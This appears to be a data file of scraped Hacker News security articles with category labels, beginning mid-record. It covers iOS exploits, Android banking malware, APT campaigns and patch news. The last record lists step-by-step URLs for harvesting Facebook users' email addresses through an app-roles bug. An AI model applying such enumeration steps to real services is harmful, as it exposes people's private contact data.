A Chinese cybersecurity researcher has today revealed technical details of critical vulnerabilities in Apple Safari web browser and iOS that could allow a remote attacker to jailbreak and compromise victims' iPhoneX running iOS 12.1.2 and before versions.

To do so, all an attacker needs to do is trick iPhoneX users into opening a specially crafted web page using Safari browser, that's it.

However, finding flaws and creating a working exploit to carry out such attacks is not as easy as it may sound for every iOS hacker.

Discovered by security researcher Qixun Zhao of Qihoo 360's Vulcan Team, the exploit takes advantage of two security vulnerabilities that were first demonstrated at TianfuCup hacking contest held in November last year and then was later responsibly reported to the Apple security team.

Zhao today released some details of and a proof-of-concept video demonstration for his exploit, which he dubbed ""Chaos,"" after Apple just yesterday released iOS version 12.1.3 to patch the issues.
According to the researcher, the remote Jailbreak exploit is a combination of two vulnerabilities, i.e., a type confusion memory corruption flaw (CVE-2019-6227) in Apple's Safari WebKit and a use-after-free memory corruption issue (CVE-2019-6225) in iOS Kernel.

As shown in the video demonstration of the Chaos iPhone X jailbreak exploit, the Safari flaw allowed maliciously crafted web content to execute arbitrary code on the targeted device, which then used the second bug to elevate privileges and install a malicious application silently.

However, the researcher has chosen not to publish the code for iOS jailbreak in an attempt to prevent malicious attacks against Apple users and hopes that the jailbreak community would use this information to soon come up with a suitable jailbreak exploit for users.
""I will not release the exploit code, if you want to jailbreak, you will need to complete the exploit code yourself or wait for the jailbreak community's release. At the same time, I will not mention the exploit details of the post exploit, as this is handled by the jailbreak community,"" Zhao said.
At this moment, based upon the remote nature of this attack and wide threat surface, it is highly recommended for iPhone users to install the latest iOS update as soon as possible, rather waiting for a jailbreak.
",Vulnerability
BitTorrent Forum Hacked; Change your Password Immediately,https://thehackernews.com/2016/06/utorrent-hacked.html,"If you are a torrent lover and have registered on BitTorrent community forum website, then you may have had your personal details compromised, along with your hashed passwords.

The BitTorrent team has announced that its community forums have been hacked, which exposed private information of hundreds of thousands of its users.

As of now, BitTorrent is the most visited torrent client around the world with more than 150 Million monthly active users.

Besides this, BitTorrent also has a dedicated community forum that has over hundreds of thousands of registered members with tens of thousands of daily visitors.

A recent security alert by the team says the forum database has been compromised by hackers who were able to get their hands on its users' passwords, warning its users to update their passwords as soon as possible.

The vulnerability is believed to be originated at one of its vendors, who alerted the BitTorrent team about the issue earlier this week.

""The vulnerability appears to have been through one of the vendor's other clients. However, it allowed attackers to access some information on other accounts,"" μTorrent forum writes ""As a result, attackers were able to download a list of our forum users.""

BitTorrent and other torrent forums are also using Invision Power Board software and if the unnamed vendor in question is Invision Power Services Inc., then hundreds of popular discussion forums might have also been affected.

The team is also investigating further to learn if any other information of its users was accessed.

Security researcher Troy Hunt somehow got access to the stolen database and which he has already been uploaded to his Data breach Notification Site: Have I Been Pwned, which includes 34,000 BitTorrent Forum users' email addresses, usernames, IP addresses, and salted SHA1 hashed passwords.

All users are strongly advised to change their forum passwords as well as passwords for other sites, in case they are using identical to the one used on the forum.

Update: μTorrent forum not hacked. I mistakenly named μTorrent previously, instead of BitTorrent. As soon as we realized it, I have updated this article with correct information.

",Data_Breaches
BRATA Malware Poses as Android Security Scanners on Google Play Store,https://thehackernews.com/2021/04/brata-malware-poses-as-android-security.html,"A new set of malicious Android apps have been caught posing as app security scanners on the official Play Store to distribute a backdoor capable of gathering sensitive information.
""These malicious apps urge users to update Chrome, WhatsApp, or a PDF reader, yet instead of updating the app in question, they take full control of the device by abusing accessibility services,"" cybersecurity firm McAfee said in an analysis published on Monday.
The apps in question were designed to target users in Brazil, Spain, and the U.S., with most of them accruing anywhere between 1,000 to 5,000 installs. Another app named DefenseScreen racked up 10,000 installs before it was removed from the Play Store last year.
First documented by Kaspersky in August 2019, BRATA (short for ""Brazilian Remote Access Tool Android"") emerged as an Android malware with screen recording abilities before steadily morphing into a banking trojan.
""It combines full device control capabilities with the ability to display phishing webpages that steal banking credentials in addition to abilities that allow it capture screen lock credentials (PIN, Password or Pattern), capture keystrokes (keylogger functionality), and record the screen of the infected device to monitor a user's actions without their consent,"" McAfee researchers Fernando Ruiz and Carlos Castillo said.
The apps that distribute the backdoor alert unsuspecting users of a security issue on their devices, prompting them to install a fake update of a specific app (e.g., Google Chrome, WhatsApp, and a non-existent PDF reader app) to address the problem.
Once the victim agrees to install the app, BRATA requests permissions to access the device's accessibility service, abusing it to capture lock screen PIN (or password/pattern), record keystrokes, take screenshots, and even disable the Google Play Store.
By disabling the Play Store app, the idea is also to disable Play Protect, a feature that preemptively runs a safety check on apps before they are downloaded from the app store, and routinely scans Android devices for potentially harmful apps and removes them.
Interestingly, new versions of BRATA also come equipped with added obfuscation and encryption layers, besides moving most of the core functionality to a remote attacker-controlled server, in turn allowing the attackers to easily update the malware and exploit the devices they were installed on while staying under the radar.
""BRATA is just another example of how powerful the (ab)use of accessibility services is and how, with just a little bit of social engineering and persistence, cybercriminals can trick users into granting this access to a malicious app and basically getting total control of the infected device,"" the researchers concluded.
""By stealing the PIN, Password or Pattern, combined with the ability to record the screen, click on any button and intercept anything that is entered in an editable field, malware authors can virtually get any data they want, including banking credentials via phishing web pages or even directly from the apps themselves, while also hiding all these actions from the user.""

",Malware
Researchers Uncover Hacking Operations Targeting Government Entities in South Korea,https://thehackernews.com/2021/06/researchers-uncover-hacking-operations.html,"A North Korean threat actor active since 2012 has been behind a new espionage campaign targeting high-profile government officials associated with its southern counterpart to install an Android and Windows backdoor for collecting sensitive information.
Cybersecurity firm Malwarebytes attributed the activity to a threat actor tracked as Kimsuky, with the targeted entities comprising of the Ministry of Foreign Affairs, Ambassador of the Embassy of Sri Lanka to the State, International Atomic Energy Agency (IAEA) Nuclear Security Officer, and the Deputy Consul General at Korean Consulate General in Hong Kong.
The attacks also involved collecting information about other organizations and universities in the country, including the Korea Internet and Security Agency (KISA), Seoul National University, and Daishin Securities. Malwarebytes, however, noted that there is no evidence of active targeting or compromise by the adversary.
The development is only the latest in a series of surveillance efforts aimed at South Korea. Believed to be operating on behalf of the North Korean regime, Kimsuky (aka Velvet Chollima, Black Banshee, and Thallium) has a track record of singling out South Korean entities while expanding their victimology to the U.S., Russia, and various nations in Europe.
Last November, the adversary was linked to a new modular spyware suite called ""KGH_SPY,"" which allows it to carry out reconnaissance of target networks, log keystrokes, and steal confidential information, as well as a stealthy malware under the name ""CSPY Downloader"" that's designed to thwart analysis and download additional payloads.
Kimsuky's attack infrastructure consists of various phishing websites that mimic well known websites such as Gmail, Microsoft Outlook, and Telegram with an aim to trick victims into entering their credentials. ""This is one of the main methods used by this actor to collect email addresses that later will be used to send spear-phishing emails,"" Malwarebytes researcher Hossein Jazi said.
In using social engineering as a core component of its operations, the goal is to distribute a malware dropper that takes the form of a ZIP archive file attached to the emails, which ultimately leads to the deployment of an encoded DLL payload called AppleSeed, a backdoor that's been put to use by Kimsuky as early as 2019.
""Besides using the AppleSeed backdoor to target Windows users, the actor also has used an Android backdoor to target Android users,"" Jazi noted. ""The Android backdoor can be considered as the mobile variant of the AppleSeed backdoor. It uses the same command patterns as the Windows one. Also, both Android and Windows backdoors have used the same infrastructure.""
AppleSeed has all the hallmarks of a typical backdoor, with myriad capabilities to record keystrokes, capture screenshots, collect documents with specific extensions (.txt, .ppt, .hwp, .pdf, and .doc), and gather data from removable media devices connected to the machine, all of which are then uploaded to a remote command-and-control server.
But perhaps the most interesting discovery of all is that the threat actor calls themselves Thallium in the malware source code, which is the moniker assigned by Microsoft based on its tradition of naming nation-state hacking groups after chemical elements.

",Cyber_Attack
ASLR bypass techniques are popular with APT attacks,https://thehackernews.com/2013/10/aslr-bypass-techniques-are-popular-with.html,"Address space layout randomization (ASLR) is a security technique involved in protection from buffer overflow attacks. Many recent APT (Advanced Persistent Threat) attacks have utilized many different ASLR bypass techniques during the past year, according to Researchers at FireEye.

Many exploits and malware attacks rely on the ability of the programmer to accurately identify where specific processes or system functions reside in memory. In order for an attacker to exploit or leverage a function, they must first be able to tell their code where to find the function or process to exploit.
The goal of ASLR is to introduce randomness into addresses used by a given task. It involves randomly arranging the positions of key data areas of a program, including the base of the executable and the positions of the stack, heap, and libraries, in a process's address space.

Today a lot of attention is brought to client side exploits especially inside web browsers. Normally the exploitation is done through the oldest known method of spraying the heap.

According to Researchers, the easiest and most popular way to defeat ASLR protection is - loading a non-ASLR module. Such attacks were recently used in Internet Explorer (IE) Zero-Day Exploit CVE-2013-3893 and some other vulnerabilities i.e. CVE2013-1347, CVE-2012-4969, CVE-2012-4792.

But there is a limitation that the non-ASLR module technique requires that IE 8 and IE 9 must be running with old software such as JRE 1.6, Office 2007/2010.

Another ASLR bypass technique involves the modification of the BSTR length/null terminator. But this technique only applies to specific types of vulnerabilities that can overwrite memory, such as buffer overflow, arbitrary memory write, and increasing/decreasing the content of a memory pointer. The Adobe XFA 0day exploit (CVE-2013-0640) uses this technique to find the AcroForm.api base address and builds a ROP chain dynamically to bypass ASLR and DEP.

""The good thing about these types of vulnerabilities is that they can corrupt the length of a BSTR such that using the BSTR can access memory outside of its original boundaries. Such accesses may disclose memory addresses that can be used to pinpoint libraries suitable for ROP. Once the exploit has bypassed ASLR in this way, it may then use the same memory corruption bug to control EIP.""

According to Microsoft, these types of bugs typically use JavaScript to trigger the flaw, as well as heap-spray to abuse the memory, and bypass ASLR. ASLR bypassing has become more and more common in Zero-Day attacks.

",Vulnerability
Phony Call Centers Tricking Users Into Installing Ransomware and Data-Stealers,https://thehackernews.com/2021/07/phony-call-centers-tricking-users-into.html,"An ongoing malicious campaign that employs phony call centers has been found to trick victims into downloading malware capable of data exfiltration as well as deploying ransomware on infected systems.
The attacks — dubbed ""BazaCall"" — eschew traditional social engineering techniques that rely on rogue URLs and malware-laced documents in favor of a vishing-like method wherein targeted users are sent email messages informing them of a forthcoming subscription charge unless they call a specific phone number.
By tricking the recipients into calling the number, the unsuspecting victims are connected with an actual human operator at a fraudulent call center, who then provides them with instructions to download the BazaLoader malware.
BazaLoader (aka BazarBackdoor) is a C++-based downloader with the ability to install various types of malicious programs on infected computers, including deploying ransomware and other malware to steal sensitive data from victimized systems. First observed in April 2020, BazaLoader campaigns have been used by multiple threat actors and frequently serves as a loader for disruptive malware such as Ryuk and Conti ransomware.
BazaCall Attack Flow
""Attacks emanating from the BazaCall threat could move quickly within a network, conduct extensive data exfiltration and credential theft, and distribute ransomware within 48 hours of the initial compromise,"" Microsoft 365 Defender Threat Intelligence Team said in a report published Thursday.
Because the malware isn't distributed via a link or document within the message body itself, the lures add a level of difficulty that enables attackers to evade phishing and malware detection software. This campaign is part of a broader trend in which BazaLoader-affiliated criminals use call centers — the operators seemingly non-native English speakers — as part of an intricate attack chain.
Post-Compromise Activities
Earlier this May, Palo Alto Networks and Proofpoint revealed an elaborate infection mechanism that leveraged websites associated with fake ebooks (World Books) and movie streaming subscription services (BravoMovies) as a stepping stone to deliver rigged Excel spreadsheets containing the BazaLoader malware. The latest attack disclosed by Microsoft is no different in that the call center agent serves as a conduit, urging the caller to navigate to a recipe website (""topcooks[.]us"") in order to cancel the non-existent trial subscription.
""The use of another human element in BazaCall's attack chain through the above mentioned hands-on-keyboard control further makes this threat more dangerous and more evasive than traditional, automated malware attacks,"" the researchers said. ""BazaCall campaigns highlight the importance of cross-domain optics and the ability to correlate events in building a comprehensive defense against complex threats.""

",Malware
Malicious Android application stealing banking credentials,https://thehackernews.com/2012/03/malicious-android-application-stealing.html,"Malicious Android application stealing banking credentials

A new form of smart Android malware can not only steal your online banking information, but update itself in the future and secretly send contact information stored on your device off to the Bad Guys. Security researchers at McAfee have discovered a malicious Android application capable of grabbing banking passwords from a mobile device without infecting the user's computer.

From a McAfee blog post on the subject, penned by Malware Researcher Carlos Castillo: ""To get the fake token, the user must enter the first factor of authentication (used to obtain initial access to the banking account). If this action is not performed, the application shows an error. When the user clicks ""Generar"" (Generate), the malware shows the fake token (which is in fact a random number) and sends the password to a specific cell phone number along with the device identifiers (IMEI and IMSI). The same information is also sent to one of the control servers along with further data such as the phone number of the device.""

The app also includes a number of nasty lines of code that could be used to obtain users' contact lists and then send them off to a control server. ""From man-in-the-middle attacks we now see more sophisticated, remote-controlled banking Trojans that can get more than one factor of authentication and update itself to, for example, modify a phishing attack to get other required credentials–such as the name or the ID number of the user–to perform electronic fraud,"" writes Castillo. ""Due to the increasing popularity of Android and mobile-banking applications, we expect that more threats like this will appear.""

If Mobile banking does take off, beware, since the Android security architecture won't be able to stop those types of attacks, given the ease with which users can be tricked, via social engineering attacks, into installing third-party applications.

",Malware
Microsoft Patches Windows Zero-Day Flaw Disclosed by Google,https://thehackernews.com/2016/11/microsoft-windows-update.html,"Microsoft was very upset with Google last week when its Threat Analysis Group publically disclosed a critical Windows kernel vulnerability (CVE-2016-7255) that had yet to be patched.

The company criticized Google's move, claiming that the disclosure of the vulnerability, which was being exploited in the wild, put its customers ""at potential risk.""

The vulnerability affects all Windows versions from Windows Vista through current versions of Windows 10, and Microsoft was set to issue a fix come this month's Patch Tuesday.

So, as part of its monthly Patch Tuesday, Microsoft today patched the security flaw in Windows that was actively being exploited by hackers.

According to Microsoft's security bulletin released today, any hacker who tricked victims into running a ""specially-crafted application"" could successfully exploit the system bug and gain the ability to ""install programs; view, change, or delete data; or create new accounts with full user rights.""

Once exploited, the bug could be used to escape the sandbox protection and execute malicious code on the compromised Windows machine.

Rated as ""important,"" the vulnerability was being exploited by Strontium group, also known as Fancy Bear, Sofacy, and APT 28, in targeted attacks.

Fancy Bear is the same group of hackers that has also been accused by the US Intelligence community of hacking the Democratic National Committee, Clinton Campaign Chair John Podesta, and former Secretary of State Colin Powell, among others.

Besides this controversial flaw exposed by Google last week, the security bulletin also fixes multiple elevation of privilege bugs.

Patch Tuesday also contains several critical security patches that affect all versions of Windows as well as other important updates and fixes for both Internet Explorer and Edge.

So, I strongly recommend home users and companies to ensure that their Windows PC is up-to-date with all of Microsoft's latest security fixes as of today.

",Vulnerability
U.S. Charges 3 North Korean Hackers Over $1.3 Billion Cryptocurrency Heist,https://thehackernews.com/2021/02/us-charges-3-north-korean-hackers-over.html,"The U.S. Department of Justice (DoJ) on Wednesday indicted three suspected North Korean hackers for allegedly conspiring to steal and extort over $1.3 billion in cash and cryptocurrencies from financial institutions and businesses.
The three defendants — Jon Chang Hyok, 31; Kim Il, 27; and Park Jin Hyok, 36 — are said to be members of the Reconnaissance General Bureau, a military intelligence division of North Korea, also known as the Lazarus group, Hidden Cobra, or Advanced Persistent Threat 38 (APT 38).
Accusing them of creating and deploying multiple malicious cryptocurrency applications, developing and fraudulently marketing a blockchain platform, the indictment expands on the 2018 charges brought against Park, one of the alleged nation-state hackers previously charged in connection with the 2014 cyberattack on Sony Pictures Entertainment.
A Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes
""North Korea's operatives, using keyboards rather than guns, stealing digital wallets of cryptocurrency instead of sacks of cash, are the world's leading bank robbers,"" said Assistant Attorney General John C. Demers of the Justice Department's National Security Division.
""The Department will continue to confront malicious nation state cyber activity with our unique tools and work with our fellow agencies and the family of norms abiding nations to do the same.""
The latest indictment is yet another sign of how the Lazarus Group relies on cyber cryptocurrency heists and cybertheft against businesses and critical infrastructure in order to fund a country that's been heavily hit by economic sanctions.
The group, which earned a place in the U.S. government's sanctions list in 2019, has been linked into a wide array of criminal cyber activities, both in the U.S. and abroad, including the destructive WannaCry ransomware outbreak of 2017, the SWIFT attacks on banks and ATM networks to steal more than $1.2 billion, conducting spear-phishing campaigns, and carrying out cryptocurrency thefts amounting to at least $112 million.
Interestingly, the indictment also details the defendants' plans to create their own crypto-token called Marine Chain in 2017-18, which would let users purchase stakes in shipping vessels, but in reality, was a money-making initiative aimed at secretly obtaining funds for the government while evading international sanctions.
""AppleJeus"" Backdoor to Steal Cryptocurrency
Also undertaken by the conspiracy is a scheme that involved creating malicious applications that masqueraded as legitimate cryptocurrency trading platforms, only to use them as a backdoor to transfer money to their accounts fraudulently.
Calling the backdoor ""AppleJeus,"" the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said it discovered at least seven different versions of the malware since 2018, with the Lazarus Group banking on a mix of phishing, social networking, and social engineering techniques as initial infection vectors to trick users into downloading it.
The rogue applications identified by CISA comprises of Ants2Whale, Celas Trade Pro, CoinGo Trade, CryptoNeuro Trader, Dorusio, iCryptoFx, Kupay Wallet, Union Crypto Trader, and WorldBit-Bot.
Energy, finance, government, industry, technology, and telecommunications sectors were the prominent focus of the attacks, the agency detailed, adding AppleJeus targets both Windows and Mac operating systems, echoing a previous August 2018 report from cybersecurity firm Kaspersky.
Canadian-American Citizen Charged for Money Laundering
U.S. prosecutors said the three men were stationed by the North Korean government in other countries such as China and Russia with the goal of furthering the strategic and financial interests of the Kim Jong Un-led regime. The DoJ, however, did not elaborate on whether threat actors from either country collaborated with the North Korean operatives on these attacks.
In a related development, the U.S. Federal Bureau of Investigation (FBI) obtained warrants to seize cryptocurrencies totaling approximately $1.9 million that were allegedly plundered from an unnamed financial services company in New York and held at two cryptocurrency exchanges.
A second case that was also unsealed yesterday concerned a Canadian-American citizen named Ghaleb Alaumary, who pled guilty in a money-laundering scheme and admitted to carrying out ATM ""cash-out"" operations and a cyber-enabled bank heist orchestrated by North Korean hackers.
Although the individuals are unlikely to be extradited and brought to trial, Jon, Kim, and Park are charged with one count of conspiracy to commit computer fraud and abuse and one count of conspiracy to commit wire fraud and bank fraud. Alaumary has been charged with one count of conspiracy to commit money laundering, which carries a maximum sentence of 20 years in prison.
""The scope of the criminal conduct by the North Korean hackers was extensive and long-running, and the range of crimes they have committed is staggering,"" said Acting U.S. Attorney Tracy L. Wilkison for the Central District of California. ""The conduct detailed in the indictment are the acts of a criminal nation-state that has stopped at nothing to extract revenge and obtain money to prop up its regime.""

",Cyber_Attack
Dangerous 'Vawtrak Banking Trojan' Harvesting Passwords Worldwide,https://thehackernews.com/2015/03/vawtrak-banking-trojan.html,"Security researcher has discovered some new features in the most dangerous Vawtrak, aka Neverquest, malware that allow it to send and receive data through encrypted favicons distributed over the secured Tor network.

The researcher, Jakub Kroustek from AVG anti-virus firm, has provided an in-depth analysis (PDF) on the new and complex set of features of the malware which is considered to be one of the most dangerous threats in existence.

Vawtrak is a sophisticated piece of malware in terms of supported features. It is capable of stealing financial information and executing transactions from the compromised computer remotely without leaving traces. The features include videos and screenshots capturing and launching man-in-the-middle attacks.

HOW VAWTRAK SPREADS ?
AVG anti-virus firm is warning users that it has discovered an ongoing campaign delivering Vawtrak to gain access to bank accounts visited by the victim and using the infamous Pony module in order to steal a wide range of victims' login credentials.

The Vawtrak Banking Trojan spreads by using one of the three ways:
Drive-by download – spam email attachments or links to compromised sites
Malware downloader – like Zemot or Chaintor
Exploit kit – like as Angler Exploit Kit
LATEST FEATURES
According to the researcher, Vawtrak is using the Tor2Web proxy to receive updates from its developers.
""Of particular interest from a security standpoint is that by using Tor2web proxy, it can access update servers that are hosted on the Tor hidden web services without installing specialist software such as Torbrowser,"" Kroustek says. ""Moreover, the communication with the remote server is done over SSL, which adds further encryption.""
The latest Vawtrak sample uses steganography to hide update files within favicons in order to conceal the malicious downloads. Favicons are the small images used by the websites to add icon to website bookmarks and browser tabs.

Once executed in the victim's machine, Vawtrak performs the following actions:
Disables antivirus protection.
Inject custom code in a user-displayed web pages (this is mostly related to online banking)
Steals passwords, digital certificates, browser history, and cookies.
Surveillance of the victim (key logging, taking screenshots, capturing video)
Creates a remote access to a user's machine (VNC, SOCKS)
Automatic updating.
Vawtrak supports three major browsers to operate in – Internet Explorer, Firefox, and Chrome. It also supports password stealing from the other browsers.

AFFECTED COUNTRIES
Based on their statistics, Vawktrak is infecting banking, gaming and social network users mainly across the countries including United Kingdom, the United States, and Germany. Although, users in Australia, New Zealand, and across Europe are also affected.

AVG concluded following their analysis of the malware that ""Vawtrak is like a Swiss Army knife for its operators because of its wide range of applications and available features.""

",Malware
Newly Discovered Mac Malware with Ancient Code Spying on Biotech Firms,https://thehackernews.com/2017/01/mac-os-malware.html,"Security researchers have discovered a rare piece of Mac-based espionage malware that relies on outdated coding practices but has been used in some previous real-world attacks to spy on biomedical research center computers.

Dubbed Fruitfly, the malware has remained undetected for years on macOS systems despite using unsophisticated and ""antiquated code.""

Infosec firm Malwarebytes discovered Fruitfly, detected as 'OSX.Backdoor.Quimitchin,' after one of its IT administrators spotted some unusual outgoing activity from a particular Mac computer.

According to the researchers, the recently discovered what they're calling ""the first Mac malware of 2017"" contains code that dates before OS X, which has reportedly been conducting detailed surveillance operation on targeted networks, possibly for over two years.

Fruitfly uses a hidden pearl script to communicate back to two command-and-control (C&C) servers and has the ability to perform actions like capturing webcam and screenshots from both Mac and Linux systems, grabbing the system's uptime, and moving and clicking a mouse cursor.

Fruitfly can also collect information about other devices connected to the same network as the infected Mac, and then tries to connect to them, according to a blog post published by Malwarebytes.

The malware also uses a secondary script and Java class to hide its icon from showing in the macOS Dock, though it's still unclear how the malware got distributed and infected the machines.

What's more interesting is that the malware uses code that pre-dates Apple's OS X operating system, including SGGetChannelDeviceList, SGSetChannelDevice, SGSetChannelDeviceInput, and SGStartRecord.

Researchers said the malware is even running open-source ""libjpeg"" code to open or create JPEG-formatted image files, which was last updated in 1998.

On further digging into the code, the researchers discovered the malware had even gone through changes to ""support"" Mac OS X Yosemite indicating Fruitfly is at least two years old.

However, the old code and upgrade to support Mac Yosemite do not indicate the exact creation date of the malware.
""The only reason I can think of that this malware has not been spotted before now is that it's being used in very tightly targeted attacks, limiting its exposure,"" Thomas Reed of Malwarebytes wrote in the post.
""There have been [many] stories over the past few years about Chinese and Russian hackers targeting and stealing the United States and European scientific research. Although there is no evidence at this point linking this malware to a specific group, the fact that it has been seen specifically at biomedical research institutions certainly seems like it could be the result of exactly that kind of espionage.""
The Fruitfly's code even includes Linux shell commands that show signs of the malware potentially running just fine on Linux operating system. So, it would come as no surprise if a Linux variant of Fruitfly was in operation.

Reed also said he has also come across related Windows executables that connected to the same C&C server used by the Fruitfly malware but date back to at least 2013.

However, the good news is that Apple has released an update for macOS to address Fruitfly. Although Apple automatically pushes the update, Mac users should consider checking their systems for infections, which is actually known as OSX.Backdoor.Quimitchip.

",Malware
Critical 'Port Fail' Vulnerability Reveals Real IP Addresses of VPN Users,https://thehackernews.com/2015/11/vpn-hacking.html,"A newly discovered flaw affecting all VPN protocols and operating systems has the capability to reveal the real IP-addresses of users' computers, including BitTorrent users, with relative ease.

The vulnerability, dubbed Port Fail by VPN provider Perfect Privacy (PP) who discovered the issue, is a simple port forwarding trick and affects those services that:
Allow port forwarding
Have no protection against this specific attack
Port Forwarding trick means if an attacker uses the same VPN (Virtual Private Network) as the victim, then the real IP-address of the victim can be exposed by forwarding Internet traffic to a specific port.
""The crucial issue here is that a VPN user connecting to his own VPN server will use his default route with his real IP address, as this is required for the VPN connection to work,"" Perfect Privacy wrote in a blog post on Thursday.
Also Read: This Secure Operating System Can Protect You Even if You Get Hacked.

Port Fail affects all VPN protocols including…
OpenVPN
IPSec
…as well as applies to all operating systems, posing a huge privacy risk.

How Does 'Port Fail' Work?

A successful IP address leak attack requires an attacker to be on the same VPN network as the victim and to know the victim's VPN exit IP address, which could be discovered by tricking a victim into visiting a website control controlled by the attacker.

For example, an attacker with port forwarding enabled can see the request from the victim's actual IP addresses by tricking the victim into opening an image file.

The same attack is possible for BitTorrent users, but, in this case, there is no need for the attacker to redirect the victim to their page.

In this case, the attacker only with the activated port forwarding for the default BitTorrent port, can expose the real IP-address of a VPN user on the same network.

Also Read: Hackers Backdooring Cisco WebVPN To Steal Customers' Passwords

Affected VPN Providers

The flaw affected various large VPN providers. Perfect Privacy tested nine VPN providers out of which five were found to be vulnerable to this flaw and were alerted last week.

VPN providers including Private Internet Access (PIA), Ovpn.to and nVPN have fixed the issue before publication.

However, the company warned, ""other VPN providers may be vulnerable to this attack as we could not possibly test all.""

VPN aims to make you sure that your real identity remains anonymous on the Internet so that nobody could track the origin of your connection back to you, but this newly discovered flaw shows that it's quite easy to bypass this on some VPN providers.

",Vulnerability
A Wide Range of Cyber Attacks Leveraging Prometheus TDS Malware Service,https://thehackernews.com/2021/08/a-wide-range-of-cyber-attacks.html,"Multiple cybercriminal groups are leveraging a malware-as-a-service (MaaS) solution to carry out a wide range of malicious software distribution campaigns that result in the deployment of payloads such as Campo Loader, Hancitor, IcedID, QBot, Buer Loader, and SocGholish against individuals in Belgium as well as government agencies, companies, and corporations in the U.S.
Dubbed ""Prometheus"" and available for sale on underground platforms for $250 a month since August 2020, the service is a Traffic Direction System (TDS) that's designed to distribute malware-laced Word and Excel documents, and divert users to phishing and malicious sites, according to a Group-IB report shared with The Hacker News.
More than 3,000 email addresses are said to have been singled out via malicious campaigns in which Prometheus TDS was used to send malicious emails, with banking and finance, retail, energy and mining, cybersecurity, healthcare, IT, and insurance emerging the prominent verticals targeted by the attacks.
""Prometheus TDS is an underground service that distributes malicious files and redirects visitors to phishing and malicious sites,"" Group-IB researchers said. ""This service is made up of the Prometheus TDS administrative panel, in which an attacker configures the necessary parameters for a malicious campaign: downloading malicious files, and configuring restrictions on users' geolocation, browser version, and operating system.""
The service is also known to employ third-party infected websites that are manually added by the campaign's operators and act as a middleman between the attacker's administrative panel and the user. To achieve this, a PHP file named ""Prometheus.Backdoor"" is uploaded to the compromised website to collect and send back data about the victim, based on which a decision is taken as to whether to send the payload to the user and/or to redirect them to the specified URL.
The attack scheme commences with an email containing a HTML file, a link to a web shell that redirects users to a specified URL, or a link to a Google Doc that's embedded with an URL that redirects users to the malicious link that when either opened or clicked leads the recipient to the infected website, which stealthily collects basic information (IP address, User-Agent, Referrer header, time zone, and language data) and then forwards this data to the Prometheus admin panel.
In the final phase, the administrative panel takes responsibility for sending a command to redirect the user to a particular URL, or to send a malware-ridden Microsoft Word or Excel document, with the user redirected to a legitimate site like DocuSign or USPS immediately after downloading the file to mask the malicious activity. Besides distributing malicious files, researchers found that Prometheus TDS is also used as a classic TDS to redirect users to specific sites, such as fake VPN websites, dubious portals selling Viagra and Cialis, and banking phishing sites.
""Prometheus TDS also redirected users to sites selling pharmaceutical products,"" the researchers noted. ""Operators of such sites often have affiliate and partnership programs. Partners, in turn, often resort to aggressive SPAM campaigns in order to increase the earnings within the affiliate program. Analysis of the Prometheus infrastructure by Group-IB specialists revealed links that redirect users to sites relating to a Canadian pharmaceutical company.""

",Malware
Adobe Issues ColdFusion Software Update for 6 Critical Vulnerabilities,https://thehackernews.com/2018/09/adobe-software-updates.html,"Adobe has released September 2018 security patch updates for a total of 10 vulnerabilities in Flash Player and ColdFusion, six of which are rated as critical that affected ColdFusion and could allow attackers to remotely execute arbitrary code on a vulnerable server.

What's the good news this month for Adobe users?

This month Adobe Acrobat and Reader applications did not receive any patch update, while Adobe Flash Player has received an update for just a single privilege escalation vulnerability (CVE-2018-15967) rated as important.

Secondly, Adobe said none of the security vulnerabilities patched this month were either publicly disclosed or found being actively exploited in the wild.

Total 9 Security Patches for Adobe ColdFusion

Adobe has addressed a total of nine security vulnerabilities in its ColdFusion web application development platform, six of which are critical, two important and one moderate.

According to the advisory released by Adobe, ColdFusion contained four critical deserialization of untrusted data vulnerabilities (CVE-2018-15965, CVE-2018-15957, CVE-2018-15958, CVE-2018-15959) that could result in arbitrary code execution.

Out of the remaining two critical vulnerabilities addressed in ColdFusion, one is unrestricted file upload flaw (CVE-2018-15961) that could lead to arbitrary code execution, and the other (CVE-2018-15960) could enable arbitrary file overwrite.

The company has also released patches for two ""important"" security vulnerabilities in ColdFusion--security bypass glitch (CVE-2018-15963) that allows arbitrary folder creation, and directory listing flaw (CVE-2018-15962) that could enable information disclosure--and a moderate information disclosure bug (CVE-2018-15964).

The vulnerabilities impact 2016 (Update 6 and earlier versions) and the July 12 (2018) release of ColdFusion, along with ColdFusion 11 (Update 14 and earlier versions).

Adobe recommends end users and administrators to update their installations to ColdFusion 2018 Update 1, ColdFusion 2016 Update 7, and ColdFusion 11 Update 15.

Adobe Also Patches An important Flaw In Flash Player

Besides ColdFusion, Adobe also released a security update for Flash Player for Windows, macOS, Linux, and Chrome OS, addressing an ""important"" flaw in all for versions 30.0.0.154 and earlier for Google Chrome, Desktop Runtime, Microsoft Edge and Internet Explorer 11.

The issue is a privilege escalation vulnerability (CVE-2018-15967) that could lead to information disclosure. The company recommends Flash Player users to update to version 31.0.0.208 as soon as possible.

",Vulnerability
Another Facebook hack exposes primary email address facebook users,https://thehackernews.com/2013/07/another-facebook-hack-exposes-primary.html,"Last week we explained a critical vulnerability in Facebook that discloses the primary email address of facebook user. Later the bug was patched by Facebook Security Team.
Today another similar interesting Facebook hack disclosed by another bug hunter, Roy Castillo. On his blog he explained a new facebook hack method that allows anyone to grab primary emails addresses of billions of Facebook users easily.

Facebook Provides a App Dashboard for creating and managing your Facebook apps, with a range of tools to help you configure, build and debug your Facebook apps.

The flaw exists in App settings, where application admin can add developer's profile also, but if the user is not a verified user, a error messages on page will disclose his primary email address.

Using following mentioned steps, one was able to grab email addresses of all facebook users:
Collect profile links of all facebook users from Facebook People Directory i.e https://www.facebook.com/directory/people/
Collect Numerical Facebook ID for each Profile from facebook Graph API i.e https://graph.facebook.com/mohitkumar.thehackernews where extracted user ID is 1251386282
Create a Facebook Application -> Go to Settings -> Developer Roles and add try to add a Developer profile, if its a valid ID, application will accept that, otherwise a error message will display the email address of that profile.
To submit profile ID directly from URL parameters : https://developers.facebook.com/apps/APPLICATION_ID/roles?unverified_groups[1][0]=VICTIM_UID
Where APPLICATION_ID is application ID and VICTIM_UID is numerical id of facebook profiles collected from step 2.

To submit more profiles in bulk:
https://developers.facebook.com/apps/APPLICATION_ID/roles
?unverified_groups[1][0]=VICTIM_UID1
&unverified_groups[2][0]=VICTIM_UID2
&unverified_groups[3][0]=VICTIM_UID3
&unverified_groups[4][0]=VICTIM_UID4
&unverified_groups[5][0]=VICTIM_UID5
